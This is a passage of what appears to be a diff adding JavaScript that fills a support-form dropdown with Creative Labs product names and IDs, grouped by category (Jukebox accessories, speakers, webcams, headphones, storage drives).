+ try { addBoxItem(document.Support_Form.Product_ID, 'Home Kit - Jukebox 3', '497'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox 3 Leather Case', '498'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Faceplates - Jukebox 3', '499'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Armband', '511'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'NOMAD II MG Wired Remote', '515'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Accessory Kit', '533'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Battery Charger Kit', '538'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Battery Pack', '539'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'NOMAD II MG Travel Cable', '560'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Leather Case - Jukebox 2', '562'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery - Jukebox 2', '563'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Battery Modules', '999'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PlayDock PD200', '31'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound', '80'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Li-Ion Battery - Jukebox 3', '86'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FM Wired Remote - Jukebox 3/Jukebox Zen/MuVo\u00B2', '115'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Power Adapter', '125'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cassette Adapter Kit', '401'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Car Kit - Jukebox 3/Jukebox 2/Jukebox Zen/MuVo\u00B2', '496'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery Pack', '4997'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery Modules - MuVo NX / TX / TX FM', '9217'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Armband - MuVo NX / TX / TX FM', '10126'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 4 : // Speaker Systems
+ switch(parseInt(famID)) {
+
+ case 113 : // 7.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T7700', '5076'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 24 : // 6.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 6.1 6600', '465'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 25 : // 5.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 5.1 5100', '1704'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PCWorks LX520', '9412'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue 5600', '10736'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T5900', '10323'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire P5800', '10596'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Theater 5.1 DTT2200', '428'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5.1 5700 Digital', '439'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 5.1 Digital 5500', '990'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5.1 5200', '55'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 5.1 5300', '238'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MegaWorks THX 5.1 550', '240'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Theater 5.1 DTT3500 Digital', '290'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PlayWorks DTT2500 Digital', '291'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 5.1 5600', '1705'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T5400', '5077'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PlayWorks PS2000 Digital', '427'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Theater 5.1', '1628'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Theater 5.1 DTT2500 Digital', '1629'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cambridge SoundWorks MegaWorks 510D', '478'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 26 : // 4.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'FPS1600', '47'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FPS2000 Digital', '297'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 4.1 4400', '446'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FPS1800', '424'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-Works FourPointSurround FPS1000', '378'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FPS1500', '388'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 27 : // 2.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue 3600', '10735'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T3000', '10329'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue 3400', '10733'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire G380', '9276'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative I-Trigue 3200', '10327'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PCWorks LX220', '9407'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 2.1 Slim 2600', '434'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 2.1 2500', '461'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue L3500', '4912'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue L3450', '4913'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T2900', '9025'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire P380', '9026'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SoundWorks SW320', '48'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MegaWorks THX 2.1 250D', '124'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue 2.1 3300', '139'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative SBS 2.1 350 Speakers', '281'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS 370', '283'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PCWorks', '284'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire Slim 500', '289'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 2.1 2400', '298'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SoundWorks Digital', '299'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SoundWorks SW310', '304'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue i3350', '279'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 28 : // 2.0 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire Monitor M85-D', '4910'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 2.0 1300', '4918'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS 230 Speakers', '4905'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS52', '1'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS16', '2'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cambridge SBS20', '3'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS50', '1834'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS10', '1831'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative SBS15', '4906'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 29 : // Portable Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound 200', '10164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound MP3', '1874'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PlayDock PD200', '31'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound', '80'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound i-300', '9022'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative TravelSound MP3 Titanium', '991'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 136 : // Decoders
+ try { addBoxItem(document.Support_Form.Product_ID, 'Decoder DDTS-100', '9468'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 30 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-1100 Speaker Stands', '166'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1700', '11164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1300', '4936'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HN-505', '4938'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Backphones HQ-65', '4916'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Backphones HQ-60', '4937'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-880', '11156'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-480', '11708'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HE-100', '11023'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HS-300', '4939'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-1200 Speaker Stands', '9515'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SurroundStation', '32'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative HQ-2000 Headphones', '4'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-500 Speaker Tripods', '399'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 2600 Spkr Grilles', '636'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5300 Spkr Grilles', '637'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5700 Spkr Grilles', '664'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative HQ-1000 Headphones', '4988'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 218 : // Web Cameras
+ switch(parseInt(famID)) {
+
+ case 219 : // WebCam
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live! Ultra for Notebooks', '11491'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live! Ultra', '10451'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live! Pro', '10450'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live!', '10412'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Instant', '10410'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam NX Ultra', '9340'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam NX Pro', '628'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam NX', '627'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam PRO eX', '243'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam PRO', '616'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Go Plus', '15'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Webcam Go ES', '1898'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Go Mini', '1900'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Go', '17'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Video Blaster WebCam Plus', '16'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Notebook', '629'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Mobile', '4890'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam 5', '1896'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Vista Pro', '11053'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Vista Plus', '11043'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam', '65'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam II', '4900'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam 3', '1908'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Vista', '1907'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 220 : // PC-CAM
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 900', '10119'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 930 Slim', '11431'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 920 Slim', '10823'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 880', '308'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 750', '4878'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 850', '4879'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative PC-CAM 300', '49'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 350', '106'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 550', '107'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CardCam Value', '116'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 600', '260'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 437 : // Headphones &amp; Headsets
+ switch(parseInt(famID)) {
+
+ case 438 : // Headphones
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1700', '11164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1300', '4936'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones CB2530', '11644'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 439 : // Noise-Cancelling Headphones
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HN-505', '4938'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 440 : // Backphones
+ try { addBoxItem(document.Support_Form.Product_ID, 'Backphones HQ-65', '4916'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Backphones HQ-60', '4937'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 441 : // Earphones
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-880', '11156'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-630', '11397'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-480', '11708'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-380', '11229'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 442 : // Headsets
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HE-100', '11023'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HS-300', '4939'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 9 : // Storage Devices
+ switch(parseInt(famID)) {
+
+ case 259 : // DVD±RW Drive
+ try { addBoxItem(document.Support_Form.Product_ID, 'DVD±RW Dual 8X', '9599'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DVD±RW Dual 8x8', '10305'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DVD+RW Dual External 8x8', '10583'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 47 : // Combo Drive
+ try { addBoxItem(document.Support_Form.Product_ID, 'Combo Drive 52.32.52x/16x', '11712'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Combo Drive 40-12-40/16', '4998'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Combo Drive NS', '9454'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 46 : // CD-RW Drive
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW External 52-32-52x', '9481'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW Blaster 12-10-32', '8'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW 52.24.52', '1590'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW Blaster 24-10-40 External', '4944'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW External 52-24-52x', '9027'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW 52-32-52x', '9453'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW Blaster 48-12-48 External', '9020'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW Blaster 48-12-48', '4941'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 45 : // PC-DVD Drive
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-DVD Encore 12x', '6'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-DVD ROM 12x', '1486'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-DVD DVD-ROM 16x', '1490'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-DVD MPEG-1 Decoder Board', '1801'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 44 : // CD-ROM Drive
